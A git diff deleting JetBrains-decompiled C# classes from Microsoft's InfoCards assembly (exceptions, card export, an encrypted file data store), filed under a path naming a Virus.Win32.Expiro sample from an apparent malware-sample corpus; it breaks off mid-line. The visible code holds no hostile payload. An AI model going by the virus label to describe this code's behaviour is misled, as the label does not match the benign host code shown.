94202610..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExceptionTranslationTable.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionTranslationTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionTranslationTable - { - private Dictionary m_table; - private static ExceptionTranslationTable s_thisTable; - - public static ExceptionTranslationTable Instance - { - get - { - if (ExceptionTranslationTable.s_thisTable == null) - ExceptionTranslationTable.s_thisTable = new ExceptionTranslationTable(); - return ExceptionTranslationTable.s_thisTable; - } - } - - private ExceptionTranslationTable() - { - this.m_table = new Dictionary(); - this.m_table.Add(typeof (ApplicationException), -2146232832); - this.m_table.Add(typeof (InvalidOperationException), -1073413888); - this.m_table.Add(typeof (NotImplementedException), -2147467263); - this.m_table.Add(typeof (SecurityException), -2147024891); - } - - public int this[Type key] => this.m_table[key]; - - public bool ContainsKey(Type key) => this.m_table.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportException.cs deleted file mode 100644 index 18324232..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ExportException : InfoCardBaseException - { - private const int HRESULT = -1073413886; - - public ExportException() - : base(-1073413886) - { - } - - public ExportException(string message) - : base(-1073413886, message) - { - } - - public ExportException(string message, Exception inner) - : base(-1073413886, message, inner) - { - } - - protected ExportException(SerializationInfo si, StreamingContext sc) - : base(-1073413886, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportFileRequest.cs deleted file mode 100644 index 9ca0f805..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ExportFileRequest.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ExportFileRequest : UIAgentRequest - { - private string m_filename; - private string m_passphrase; - private string[] m_cardIds; - - public ExportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - uint length = reader.ReadUInt32(); - this.m_cardIds = new string[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_cardIds[(IntPtr) index] = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name was specified"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_passphrase), " No passphrase specified for the file"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - RoamingStoreFile roamingStoreFile = new RoamingStoreFile(); - try - { - for (int index = 0; index < this.m_cardIds.Length; ++index) - { - InfoCard infoCard = new InfoCard(new Uri(this.m_cardIds[index])); - infoCard.Get(connection); - infoCard.GetMasterKey(connection); - roamingStoreFile.Cards.Add(infoCard); - } - using (FileStream output = new FileStream(this.m_filename, FileMode.Create)) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false - })) - { - roamingStoreFile.WriteTo(this.m_passphrase, writer); - writer.Flush(); - } - output.Flush(); - } - } - finally - { - foreach (InfoCard card in (IEnumerable) roamingStoreFile.Cards) - card.ClearSensitiveData(); - } - AuditLog.AuditStoreExport(); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (SerializationIncompleteException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("FailedToSerializeObject", (object) ex.ObjectType), (Exception) ex)); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FailedToStartupUIException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FailedToStartupUIException.cs deleted file mode 100644 index 093f471e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FailedToStartupUIException.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FailedToStartupUIException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FailedToStartupUIException : InfoCardBaseException - { - private const int HRESULT = -1073413867; - - public FailedToStartupUIException() - : base(-1073413867) - { - } - - public FailedToStartupUIException(string message, Exception inner) - : base(-1073413867, message, inner) - { - } - - protected FailedToStartupUIException(SerializationInfo si, StreamingContext sc) - : base(-1073413867, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileAccessException.cs deleted file mode 100644 index de838e0a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FileAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413864; - - public FileAccessException() - : base(-1073413864) - { - } - - public FileAccessException(string message) - : base(-1073413864, message) - { - } - - public FileAccessException(string message, Exception inner) - : base(-1073413864, message, inner) - { - } - - protected FileAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413864, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileDataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileDataSource.cs deleted file mode 100644 index 99c5b1a9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/FileDataSource.cs +++ /dev/null @@ -1,1062 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileDataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.AccessControl; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class FileDataSource : DataSource - { - public const int ENCRYPTIONKEYBUFFERSIZE = 32; - public const int ENCRYPTIONKEYBITLENGTH = 256; - public const int ENCRYPTIONBLOCKBUFFERSIZE = 16; - public const int ENCRYPTIONBLOCKBITLENGTH = 128; - public const int ENCRYPTIONITERATIONS = 1000; - public const int INITIALINDEXITEMCOUNT = 20; - public const int INITIALINDEXAREASIZE = 80; - public const int INITIALBLOBAREASIZE = 2048; - public const int FILEVERSION = 11; - private static readonly SecurityIdentifier AdministratorSid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, (SecurityIdentifier) null); - private int m_variableSignatureLength = 64; - private FileInfo m_fileInfo; - private FileStream m_file; - private FileInfo m_shadowInfo; - private FileStream m_shadow; - private byte[] m_header; - private IndexedDataBuffer m_data; - private SecondaryIndexList m_indexes; - private ReaderWriterLock m_lock; - private SymmetricAlgorithm m_encAlg; - private byte[] m_key; - private bool m_keyProtected; - private WindowsIdentity m_identity; - private bool m_currentTransactionDirty; - private SafeRsaProviderHandle m_provider; - - protected FileDataSource() - : base((string) null, (string) null) - { - } - - public FileDataSource(WindowsIdentity identity, string fileName) - : this(identity, fileName, Guid.NewGuid().ToString("P"), SecondaryIndexDefinition.MasterIndexes) - { - } - - public FileDataSource( - WindowsIdentity identity, - string fileName, - string instanceId, - SecondaryIndexDefinition[] indexDefinitions) - : base(instanceId, fileName) - { - this.m_identity = identity; - this.m_currentTransactionDirty = false; - this.m_fileInfo = new FileInfo(fileName); - this.m_shadowInfo = new FileInfo(this.m_fileInfo.FullName + ".shadow"); - this.m_lock = new ReaderWriterLock(); - this.m_indexes = new SecondaryIndexList(indexDefinitions); - this.m_encAlg = FileDataSource.CreateEncryptionAlg(); - this.SetupProvider(); - } - - public IndexedDataBuffer Buffer - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_data; - } - } - - public byte[] Header - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_header; - } - } - - public SecondaryIndexList Indexes - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_indexes; - } - } - - protected WindowsIdentity Identity => this.m_identity; - - protected internal override void OnClear() - { - using (new SystemIdentity(true)) - { - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientDelete(this.m_shadowInfo); - } - } - - protected internal override void OnLoad() - { - this.ThrowIfDisposed(); - try - { - this.CreateDirAndFiles(); - if (this.m_shadow.Length > 0L) - { - if (this.m_file.Length > 0L) - { - this.m_shadow.SetLength(0L); - this.LoadFrom((Stream) this.m_file); - } - else - { - this.LoadFrom((Stream) this.m_shadow); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - } - else if (this.m_file.Length > 0L) - { - this.LoadFrom((Stream) this.m_file); - } - else - { - this.CreateEmptyStore(); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - this.m_file.Seek(0L, SeekOrigin.Begin); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private void CloseFiles() - { - using (new SystemIdentity(false)) - { - if (this.m_file != null) - { - this.m_file.Close(); - this.m_file = (FileStream) null; - } - if (this.m_shadow == null) - return; - this.m_shadow.Close(); - this.m_shadow = (FileStream) null; - } - } - - protected void CreateDirAndFiles() - { - this.CheckReparsePoints(); - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.ValidateDirectoryAccess(); - using (new SystemIdentity(true)) - { - try - { - if (!this.m_fileInfo.Directory.Exists) - { - try - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.m_fileInfo.Directory.Create(FileDataSource.CreateSecurityDescriptor()); - else - this.m_fileInfo.Directory.Create(); - this.m_fileInfo.Directory.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - else if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) this.m_fileInfo.Directory)) - this.m_fileInfo.Directory.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - InfoCardTrace.Assert(this.m_shadowInfo.Directory.Exists, "m_shadowInfo directory should be same as main directory"); - this.OpenOrCreateHelper(this.m_fileInfo, out this.m_file); - this.OpenOrCreateHelper(this.m_shadowInfo, out this.m_shadow); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - } - - private void CheckReparsePoints() - { - using (new SystemIdentity(true)) - { - for (DirectoryInfo directoryInfo = this.m_fileInfo.Directory; directoryInfo != null; directoryInfo = directoryInfo.Parent) - { - if (directoryInfo.Exists && (directoryInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - if (Directory.Exists(this.m_fileInfo.FullName) && (this.m_fileInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - } - - private void ValidateDirectoryAccess() - { - InfoCardTrace.Assert(!WindowsIdentity.GetCurrent().IsSystem, "Should not be running as system"); - IdentityReference identityReference = WindowsIdentity.GetCurrent().User.Translate(typeof (NTAccount)); - bool flag = false; - DirectoryInfo parent = this.m_fileInfo.Directory.Parent; - if (parent.Exists) - { - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) parent.GetAccessControl().GetAccessRules(true, true, typeof (NTAccount))) - { - if (accessRule.IdentityReference == identityReference && accessRule.FileSystemRights == FileSystemRights.FullControl && accessRule.AccessControlType == AccessControlType.Allow) - { - flag = true; - break; - } - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreInvalidDataFilePath"))); - } - - private void OpenOrCreateHelper(FileInfo theFile, out FileStream fileStream) - { - InfoCardTrace.Assert(WindowsIdentity.GetCurrent().IsSystem, "Should be running as system"); - if (!File.Exists(theFile.FullName)) - { - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.CreateNew, FileAccess.ReadWrite); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - } - else - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) theFile)) - { - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.Open, FileAccess.ReadWrite); - } - } - - protected virtual void OnSwapFileWithShadow() - { - using (new SystemIdentity(true)) - { - string fullName = this.m_fileInfo.FullName; - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientMove(this.m_shadowInfo, this.m_fileInfo); - this.m_fileInfo = new FileInfo(fullName); - this.m_shadowInfo = new FileInfo(fullName + ".shadow"); - } - } - - protected internal override void OnClose() - { - this.ThrowIfDisposed(); - if (this.m_data != null) - { - this.m_data.Close(); - this.m_data = (IndexedDataBuffer) null; - } - this.m_indexes.Close(); - this.CloseFiles(); - this.m_provider.Dispose(); - } - - protected internal override DataRow ReadRow(int localId, QueryDetails details) - { - DataRow row = (DataRow) null; - if (QueryDetails.Header == (details & QueryDetails.Header)) - { - row = this.m_data.CreateDataRow(localId); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - { - byte[] iv = this.AllocateIvBuffer(); - this.m_data.CopyIVFromObject(localId, iv, 0); - using (Stream streamForObjectData = this.m_data.GetStreamForObjectData(localId)) - { - using (MemoryStream output = new MemoryStream((int) streamForObjectData.Length)) - { - this.DecryptData(iv, streamForObjectData, (Stream) output); - row.SetDataField(output.ToArray()); - byte[] buffer = output.GetBuffer(); - Array.Clear((Array) buffer, 0, buffer.Length); - } - } - } - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - this.m_indexes.PopulateRowIndexBuffer(row); - } - return row; - } - - protected internal override bool SingleMatch(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (string.IsNullOrEmpty(match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(SR.GetString("StoreDataSourceInvalidIndexName", (object) match.IndexName), nameof (match))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - return this.m_indexes.Match(match, localIds); - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - } - - protected internal override void OnBeginTransaction() - { - InfoCardTrace.Assert(!this.m_currentTransactionDirty, "m_currentTransactionDirty should have been set to false before beginning a transaction"); - base.OnBeginTransaction(); - } - - protected internal override void OnRollbackTransaction() - { - try - { - base.OnRollbackTransaction(); - this.LoadFrom((Stream) this.m_file); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void OnCommitTransaction() - { - try - { - base.OnCommitTransaction(); - if (!this.m_currentTransactionDirty) - return; - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void WriteRow(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - using (MemoryStream output = new MemoryStream()) - { - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - using (MemoryStream input = new MemoryStream(row.GetDataField())) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - int localId = this.m_data.WriteObject(row.LocalId, iv, output.ToArray(), row.ObjectType, row.LastChange, row.GlobalId); - this.m_indexes.SetValuesForId(localId, row.IndexBuffer, true); - row.SourceId = this.SourceId; - row.InstanceId = this.InstanceId; - row.LocalId = localId; - } - } - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - protected internal override void RemoveObject(int id) - { - if ((uint) id > (uint) (this.m_data.Index.Length / 4 - 1)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreDataSourceIdOutOfRange"))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - this.m_data.RemoveObject(id); - this.m_indexes.RemoveAllValuesForId(id); - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - private void ProtectKey() - { - if (this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyAlreadyProtected"))); - ProtectedMemory.Protect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = true; - } - - private void UnprotectKey() - { - if (!this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyNotAlreadyProtected"))); - ProtectedMemory.Unprotect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = false; - } - - private unsafe void DecryptData(byte[] iv, Stream input, Stream output) - { - InfoCardTrace.Assert(input is MemoryStream, "Invalid stream type"); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) buffer.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptDecrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - Array.Clear((Array) buffer, 0, buffer.Length); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void EncryptData(byte[] iv, Stream input, Stream output) - { - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length + (long) this.m_key.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) input.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptEncrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length, (uint) buffer.Length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void CreateEmptyStore() - { - this.m_data = new IndexedDataBuffer(new byte[80], new byte[2048], 0, (DataSource) this); - this.m_encAlg.GenerateKey(); - this.m_key = new byte[this.m_encAlg.Key.Length]; - Array.Copy((Array) this.m_encAlg.Key, 0, (Array) this.m_key, 0, this.m_encAlg.Key.Length); - this.m_encAlg.GenerateKey(); - this.m_keyProtected = false; - this.ProtectKey(); - this.m_header = new byte[this.GetTotalHeaderSize()]; - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - ((EncryptedFileStoreHeader*) numPtr)->Version = 11U; - this.EncryptAndSaveDPAPIKeyToHeader(); - } - - private void FlushToShadow() => this.FlushToStream((Stream) this.m_shadow); - - private int GetTotalHeaderSize() => sizeof (EncryptedFileStoreHeader) + this.GetTotalSignatureSize(); - - private int GetOffsetToEncryptedFileHeader() => this.m_variableSignatureLength + 4; - - private int GetTotalSignatureSize() => this.GetOffsetToEncryptedFileHeader(); - - private long GetRequiredFileSize() - { - long num = Convert.ToInt64(this.GetTotalHeaderSize()) + Convert.ToInt64(this.m_data.DataLength) + Convert.ToInt64(this.m_data.Index.Length + 4); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - byte[] buffer = ((SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]).GetBuffer(); - num += Convert.ToInt64(8 + buffer.Length); - } - return num + num / 20L; - } - - private unsafe void FlushToStream(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.SetLength(this.GetRequiredFileSize()); - BinaryWriter binaryWriter1 = new BinaryWriter(stream); - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - int dataLength = this.m_data.DataLength; - stream.Seek((long) this.GetTotalHeaderSize(), SeekOrigin.Begin); - binaryWriter1.Write(iv); - long position = stream.Position; - using (BinaryWriter binaryWriter2 = new BinaryWriter((Stream) new MemoryStream())) - { - binaryWriter2.Write(this.m_data.Index.Length / 4); - binaryWriter2.Write(this.m_data.Index); - binaryWriter2.Write(this.m_indexes.Count); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - SecondaryIndex innerIndex = (SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]; - int lastIndex = innerIndex.LastIndex; - binaryWriter2.Write(lastIndex); - int initialSize = SecondaryIndexDefinition.GetByName(key).InitialSize; - if (lastIndex + 1 < initialSize) - { - binaryWriter2.Write(initialSize); - InfoCardTrace.Assert(initialSize * sizeof (SecondaryIndexItem) <= innerIndex.GetBuffer().Length, "Buffer length is at least min capacity"); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, initialSize * sizeof (SecondaryIndexItem)); - } - else - { - binaryWriter2.Write(lastIndex + 1); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, (lastIndex + 1) * sizeof (SecondaryIndexItem)); - } - } - binaryWriter2.Flush(); - binaryWriter2.Seek(0, SeekOrigin.Begin); - this.EncryptData(iv, binaryWriter2.BaseStream, binaryWriter1.BaseStream); - } - int int32 = Convert.ToInt32(stream.Position - position); - int num = int32 + this.m_data.DataLength + this.GetTotalHeaderSize() + iv.Length; - binaryWriter1.Write(this.m_data.Data, 0, this.m_data.DataLength); - stream.Seek(0L, SeekOrigin.Begin); - binaryWriter1.Flush(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr)->DataSize = dataLength; - ((EncryptedFileStoreHeader*) numPtr)->Version = 11U; - ((EncryptedFileStoreHeader*) numPtr)->Size = num; - ((EncryptedFileStoreHeader*) numPtr)->IndexSize = int32; - } - binaryWriter1.Write(this.m_header); - stream.SetLength(Convert.ToInt64(num)); - binaryWriter1.Flush(); - this.SignStream(stream); - } - - private unsafe void SignStream(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - this.m_encAlg.GenerateIV(); - byte[] sourceArray = this.SignDigest(this.m_encAlg.IV, this.CreateStreamDigest(input)); - byte[] numArray = new byte[this.GetTotalSignatureSize()]; - fixed (byte* numPtr = &numArray[0]) - ((SignatureHeader*) numPtr)->SignatureSize = this.m_variableSignatureLength; - Array.Copy((Array) sourceArray, 0, (Array) numArray, 4, sourceArray.Length); - input.Seek(0L, SeekOrigin.Begin); - input.Write(numArray, 0, numArray.Length); - InfoCardTrace.Assert(this.m_variableSignatureLength >= 